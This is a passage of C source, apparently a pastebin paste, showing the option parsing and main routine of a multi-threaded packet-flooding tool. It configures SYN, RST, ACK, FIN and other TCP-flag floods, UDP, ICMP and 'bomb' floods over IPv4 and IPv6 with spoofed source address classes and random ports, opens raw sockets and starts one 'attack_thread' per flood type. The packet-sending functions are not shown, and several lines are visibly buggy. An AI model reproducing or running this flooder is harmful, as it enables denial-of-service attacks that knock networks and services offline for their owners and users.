- printf(" -q Source port range [start,end] \e[1;37m(\e[0m\e[0;31mRandom\e[0m\e[1;37m)\e[0m\n\n");
- printf(" -t Timeout \e[1;37m(\e[0m\e[0;31mNo default\e[0m\e[1;37m)\e[0m\n\n");
- printf(" -w Window Size [ 1-65535 ] \e[1;37m(\e[0m\e[0;31mRandom\e[0m\e[1;37m)\e[0m\n");
- printf("\n\n\e[4mUsage\e[0m: %s -4 -6 [-U -I -T -B -h -d -s -p -q -t]\n\n", argv0);
- exit(-1);
- }
- int main(int argc, char *argv[]) {
- int i = 0, n;
- int on = 1;
- struct sockaddr_in DestAddress4;
- struct sockaddr_in6 DestAddress6;
- thread_data_array[0].a_flags = 0;
- thread_data_array[0].window_size = 0;
- for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
- thread_data_array[i].a_flags = 0;
- }
- while ((n = getopt(argc, argv, "46:TBIU:h:d:s:t:p:q:w:")) != -1) {
- char *p;
- unsigned int datasize = 0;
- unsigned int window_size = 0;
- switch (n) {
- case '4':
- thread_data_array[0].flag4 = 1;
- break;
- case '6':
- thread_data_array[0].flag6 = 1;
- break;
- case 'T':
- if ((p = (char *) strchr(optarg, ',')) == NULL)
- datasize = 4;
- if(datasize == 0)
- datasize = atoi(p + 1);
- if(datasize > 4096)
- datasize = 4096;
- switch (atoi(optarg)) {
- case 0:
- thread_data_array[TCP_FIN].initialized = 1;
- thread_data_array[0].a_flags |= TCP_FIN;
- thread_data_array[TCP_FIN].a_flags |= TCP_FIN;
- thread_data_array[TCP_FIN].datasize = datasize;
- break;
- case 1:
- thread_data_array[TCP_SYN].initialized = 1;
- thread_data_array[0].a_flags |= TCP_SYN;
- thread_data_array[TCP_SYN].a_flags |= TCP_SYN;
- thread_data_array[TCP_SYN].datasize = datasize;
- break;
- case 2:
- thread_data_array[TCP_RST].initialized = 1;
- thread_data_array[0].a_flags |= TCP_RST;
- thread_data_array[TCP_RST].a_flags |= TCP_RST;
- thread_data_array[TCP_RST].datasize = datasize;
- break;
- case 3:
- thread_data_array[TCP_PSH].initialized = 1;
- thread_data_array[0].a_flags |= TCP_PSH;
- thread_data_array[TCP_PSH].a_flags |= TCP_PSH;
- thread_data_array[TCP_PSH].datasize = datasize;
- break;
- case 4:
- thread_data_array[TCP_ACK].initialized = 1;
- thread_data_array[0].a_flags |= TCP_ACK;
- thread_data_array[TCP_ACK].a_flags |= TCP_ACK;
- thread_data_array[TCP_ACK].datasize = datasize;
- break;
- case 5:
- thread_data_array[TCP_URG].initialized = 1;
- thread_data_array[0].a_flags |= TCP_URG;
- thread_data_array[TCP_URG].a_flags |= TCP_URG;
- thread_data_array[TCP_URG].datasize = datasize;
- break;
- case 6:
- thread_data_array[TCP_ECE].initialized = 1;
- thread_data_array[0].a_flags |= TCP_ECE;
- thread_data_array[TCP_ECE].a_flags |= TCP_ECE;
- thread_data_array[TCP_ECE].datasize = datasize;
- break;
- case 7:
- thread_data_array[TCP_CWR].initialized = 1;
- thread_data_array[0].a_flags |= TCP_CWR;
- thread_data_array[TCP_CWR].a_flags |= TCP_CWR;
- thread_data_array[TCP_CWR].datasize = datasize;
- break;
- case 8:
- thread_data_array[TCP_NOF].initialized = 1;
- thread_data_array[0].a_flags |= TCP_NOF;
- thread_data_array[TCP_NOF].a_flags |= TCP_NOF;
- thread_data_array[TCP_NOF].datasize = datasize;
- break;
- case 9:
- thread_data_array[TCP_FRG].initialized = 1;
- thread_data_array[0].a_flags |= TCP_FRG;
- thread_data_array[TCP_FRG].a_flags |= TCP_FRG;
- thread_data_array[TCP_FRG].datasize = datasize;
- case 10:
- thread_data_array[TCP_PAN].initialized = 1;
- thread_data_array[0].a_flags |= TCP_PAN;
- thread_data_array[TCP_PAN].a_flags |= TCP_PAN;
- thread_data_array[TCP_PAN].datasize = datasize;
- break;
- break;
- }
- break;
- case 'B':
- if ((p = (char *) strchr(optarg, ',')) == NULL)
- datasize = 64;
- if(datasize == 0)
- datasize = atoi(p + 1);
- if(datasize > 4096)
- datasize = 4096;
- switch (atoi(optarg)) {
- case 0:
- thread_data_array[TCP_BMB].initialized = 1;
- thread_data_array[0].a_flags |= TCP_BMB;
- thread_data_array[TCP_BMB].a_flags |= TCP_BMB;
- thread_data_array[TCP_BMB].datasize = datasize;
- break;
- case 1:
- thread_data_array[UDP_BMB].initialized = 1;
- thread_data_array[0].a_flags |= UDP_BMB;
- thread_data_array[UDP_BMB].a_flags |= UDP_BMB;
- thread_data_array[UDP_BMB].datasize = datasize;
- break;
- case 2:
- thread_data_array[RAW_BMB].initialized = 1;
- thread_data_array[0].a_flags |= RAW_BMB;
- thread_data_array[RAW_BMB].a_flags |= RAW_BMB;
- thread_data_array[RAW_BMB].datasize = datasize;
- break;
- }
- break;
- case 'I':
- thread_data_array[ICMP_ECHO_G].initialized = 1;
- thread_data_array[0].a_flags |= ICMP_ECHO_G;
- thread_data_array[ICMP_ECHO_G].a_flags |= ICMP_ECHO_G;
- break;
- case 'U':
- thread_data_array[UDP_CFF].initialized = 1;
- thread_data_array[0].a_flags |= UDP_CFF;
- thread_data_array[UDP_CFF].a_flags |= UDP_CFF;
- thread_data_array[UDP_CFF].datasize = atoi(optarg);
- break;
- case 'h':
- if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
- DestAddress4.sin_family = AF_INET;
- inet_pton(AF_INET, optarg, &DestAddress4.sin_addr);
- thread_data_array[0].dstaddr = lookup(optarg);
- thread_data_array[0].destination4 =DestAddress4;
- } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
- DestAddress6.sin6_family = AF_INET6;
- inet_pton(AF_INET6, optarg, &DestAddress6.sin6_addr);
- thread_data_array[0].destination6=DestAddress6;
- } else {
- printf("[!] -4 and -6 can not both be specified ..\n\n");
- usage(argv[0]);
- }
- break;
- case 'd':
- thread_data_array[0].dst_class = optarg;
- break;
- case 's':
- thread_data_array[0].src_class = optarg;
- break;
- case 'p':
- if ((p = (char *) strchr(optarg, ',')) == NULL)
- usage(argv[0]);
- thread_data_array[0].d_lport = atoi(optarg); /* Destination start port */
- thread_data_array[0].d_hport = atoi(p + 1); /* Destination end port */
- break;
- case 'q':
- if ((p = (char *) strchr(optarg, ',')) == NULL)
- usage(argv[0]);
- thread_data_array[0].s_lport = atoi(optarg); /* Source start port */
- thread_data_array[0].s_hport = atoi(p + 1); /* Source end port */
- break;
- case 't':
- thread_data_array[0].timeout = atoi(optarg);
- break;
- case 'w':
- window_size = atoi(optarg);
- if(window_size > 65535)
- window_size = 65535;
- thread_data_array[0].window_size = window_size;
- break;
- default:
- usage(argv[0]);
- break;
- }
- }
- if (!thread_data_array[0].timeout) {
- usage(argv[0]);
- }
- if (!thread_data_array[0].src_class) {
- if(thread_data_array[0].flag6 == 1) {
- static char ipstring[3];
- strcat(ipstring, "2001:");
- thread_data_array[0].src_class = class2ip6(ipstring);
- }
- }
- if ((!thread_data_array[0].flag4 && !thread_data_array[0].flag6) || (!thread_data_array[0].a_flags) || (!thread_data_array[0].timeout)) {
- usage(argv[0]);
- }
- if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
- int i;
- for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
- if (thread_data_array[i].initialized == 1 ) {
- if (thread_data_array[i].a_flags <= TCP_FRG || thread_data_array[i].a_flags == RAW_BMB || thread_data_array[i].a_flags == ICMP_ECHO_G) {
- if ((thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_IPV6)) < 0) { /* w00t - o therez more tho.. */
- perror("- socket");
- exit(-1);
- }
- } else if(thread_data_array[i].a_flags == TCP_BMB) {
- if ((thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
- perror("- socket");
- exit(-1);
- }
- } else if(thread_data_array[i].a_flags == TCP_PAN) {
- if ((thread_data_array[i].socket = socket(PF_PACKET, SOCK_RAW, IPPROTO_RAW)) < 0) {
- perror("- socket");
- exit(-1);
- }
- } else if (thread_data_array[i].a_flags == UDP_BMB || thread_data_array[i].a_flags == UDP_CFF) { /* datagram here/fixed */
- if ((thread_data_array[i].socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
- perror("- socket");
- exit(-1);
- }
- }
- if (thread_data_array[i].a_flags != UDP_BMB) { /* fixed */
- if (setsockopt(thread_data_array[i].socket, IPPROTO_UDP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
- perror("- setsockopt");
- exit(-1);
- }
- if (setsockopt(thread_data_array[i].socket, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)) < 0) {
- perror("- setsockopt");
- exit(-1);
- }
- }
- }
- }
- printf("[IPv4]: Packeting: (%s) from: (%s) with flags (%i) for (%i) secs ..\n\n", thread_data_array[0].dst_class != NULL ? thread_data_array[0].dst_class :
- inet_ntop(AF_INET,&thread_data_array[0].destination4.sin_addr, thread_data_array[0].DestIP4, sizeof(thread_data_array[0].DestIP4)),thread_data_array[0].src_class != NULL ?
- thread_data_array[0].src_class : "random",thread_data_array[0].a_flags, thread_data_array[0].timeout);
- } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
- int i;
- for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
- if (thread_data_array[i].initialized== 1 ) {
- if (thread_data_array[i].a_flags <= TCP_BMB || thread_data_array[i].a_flags <= TCP_PAN || thread_data_array[i].a_flags == RAW_BMB) { /* mod pan */
- if ((thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_IPV6)) < 0) {
- perror("- socket");
- exit(-1);
- }
- } else if (thread_data_array[i].a_flags == UDP_BMB || thread_data_array[i].a_flags == UDP_CFF) { /* we will use datagram..so we have userland */
- if ((thread_data_array[i].socket = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
- perror("- socket");
- exit(-1);
- }
- } else if (thread_data_array[i].a_flags == ICMP_ECHO_G) {
- if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)) < 0) {
- perror("- socket");
- exit(-1);
- }
- }
- if (thread_data_array[i].a_flags != UDP_BMB) {
- if (setsockopt(thread_data_array[i].socket, IPPROTO_UDP, IPV6_TCLASS, (char *)&on, sizeof(on)) < 0) {
- perror("- setsockopt");
- exit(-1);
- }
- }
- }
- }
- printf("[IPv6]: Packeting: (%s) from: (%s) with flags (%i) for (%i) secs ..\n\n", thread_data_array[0].dst_class != NULL ? thread_data_array[0].dst_class :
- inet_ntop(AF_INET6,&thread_data_array[0].destination6.sin6_addr,
- thread_data_array[0].DestIP6,sizeof(thread_data_array[0].DestIP6)),thread_data_array[0].src_class,thread_data_array[0].a_flags, thread_data_array[0].timeout);
- }
- signal (SIGINT, handle_exit);
- signal (SIGTERM, handle_exit);
- signal (SIGQUIT, handle_exit);
- thread_data_array[0].start = time(NULL);
- for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
- if (thread_data_array[i].a_flags == TCP_FIN) {
- thread_data_array[i].thread= i;
- thread_data_array[i].packets = 0;
- thread_data_array[i].th_flags = TH_FIN;
- if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
- printf("+ Thread error:\n");
- perror("- pthread_create()\n");
- }
- }
- if (thread_data_array[i].a_flags == TCP_SYN) {
- thread_data_array[i].thread= i;
- thread_data_array[i].packets = 0;
- thread_data_array[i].th_flags = TH_SYN;
- if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
- printf("+ Thread error:\n");
- perror("- pthread_create()\n");
- }
- }
- if (thread_data_array[i].a_flags == TCP_RST) {
- thread_data_array[i].thread= i;
- thread_data_array[i].packets = 0;
- thread_data_array[i].th_flags = TH_RST;
- if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
- printf("+ Thread error:\n");
- perror("- pthread_create()\n");
- }
- }
- if (thread_data_array[i].a_flags == TCP_PSH) {
- thread_data_array[i].thread= i;
- thread_data_array[i].packets = 0;
- thread_data_array[i].th_flags = TH_PUSH;
- if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
- printf("+ Thread error:\n");
- perror("- pthread_create()\n");
- }
- }
- if (thread_data_array[i].a_flags == TCP_ACK) {
- thread_data_array[i].thread= i;
- thread_data_array[i].packets = 0;
- thread_data_array[i].th_flags = TH_ACK;
- if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
- printf("+ Thread error:\n");
- perror("- pthread_create()\n");
- }
- }
- if (thread_data_array[i].a_flags == TCP_PAN) {
- thread_data_array[i].thread= i;
- thread_data_array[i].packets = 0;
- thread_data_array[i].th_flags = (TH_SYN || TH_ACK);
- if(pthread_create(&attack_thread[i], NULL, &send_pan, (void *)&thread_data_array[i]) != 0) {
- printf("+ Thread error:\n");
- perror("- pthread_create()\n");
- }
- }
- if (thread_data_array[i].a_flags == TCP_URG) {
- thread_data_array[i].thread= i;
- thread_data_array[i].packets = 0;
- thread_data_array[i].th_flags = TH_URG;
- if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
- printf("+ Thread error:\n");
- perror("- pthread_create()\n");
- }
- }
- if (thread_data_array[i].a_flags == TCP_ECE) {
- thread_data_array[i].thread= i;
- thread_data_array[i].packets = 0;
- thread_data_array[i].th_flags = TH_ECE;
- if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
- printf("+ Thread error:\n");
- perror("- pthread_create()\n");
- }
- }
- if (thread_data_array[i].a_flags == TCP_CWR) {
- thread_data_array[i].thread= i;
- thread_data_array[i].packets = 0;
- thread_data_array[i].th_flags = TH_CWR;
- if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
- printf("+ Thread error:\n");
- perror("- pthread_create()\n");
- }
- }
- if (thread_data_array[i].a_flags == TCP_NOF) {
- thread_data_array[i].thread= i;
- thread_data_array[i].packets = 0;
- thread_data_array[i].th_flags = TH_NOF;
- if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
- printf("+ Thread error:\n");
- perror("- pthread_create()\n");
- }
- }
- if (thread_data_array[i].a_flags == TCP_FRG) {
- thread_data_array[i].thread= i;
- thread_data_array[i].packets = 0;
- thread_data_array[i].th_flags = TH_NOF;
- if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0) {
- printf("+ Thread error:\n");
- perror("- pthread_create()\n");
- }
- }
- if (thread_data_array[i].a_flags == TCP_BMB) {
- thread_data_array[i].thread= i;
- thread_data_array[i].packets = 0;
- if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
- printf("+ Thread error:\n");
- perror("- pthread_create()\n");
- }
- }
- if (thread_data_array[i].a_flags == UDP_BMB) {
- thread_data_array[i].thread= i;
- thread_data_array[i].packets = 0;
- if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
- printf("+ Thread error:\n");
- perror("- pthread_create()\n");
- }
- }
- if (thread_data_array[i].a_flags == RAW_BMB) {
- thread_data_array[i].thread= i;
- thread_data_array[i].packets = 0;
- if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0) {
- printf("+ Thread error:\n");
- perror("- pthread_create()\n");
- }
- }
- if (thread_data_array[i].a_flags == UDP_CFF) {
- thread_data_array[i].thread= i;
- thread_data_array[i].packets = 0;
- if(pthread_create(&attack_thread[i], NULL, &send_udp, (void *)&thread_data_array[i]) != 0) {
- printf("+ Thread error:\n");
- perror("- pthread_create()\n");
- }
- }
- if (thread_data_array[i].a_flags == ICMP_ECHO_G) {
- thread_data_array[i].thread= i;
- thread_data_array[i].packets = 0;
- if(pthread_create(&attack_thread[i], NULL, &send_icmp, (void *)&thread_data_array[i]) != 0) {
- printf("+ Thread error:\n");
- perror("- pthread_create()\n");
- }
- }
- }
- for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
- if(attack_thread[i] != 0)
- pthread_join(attack_thread[i], NULL);
- }
- exit(0);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement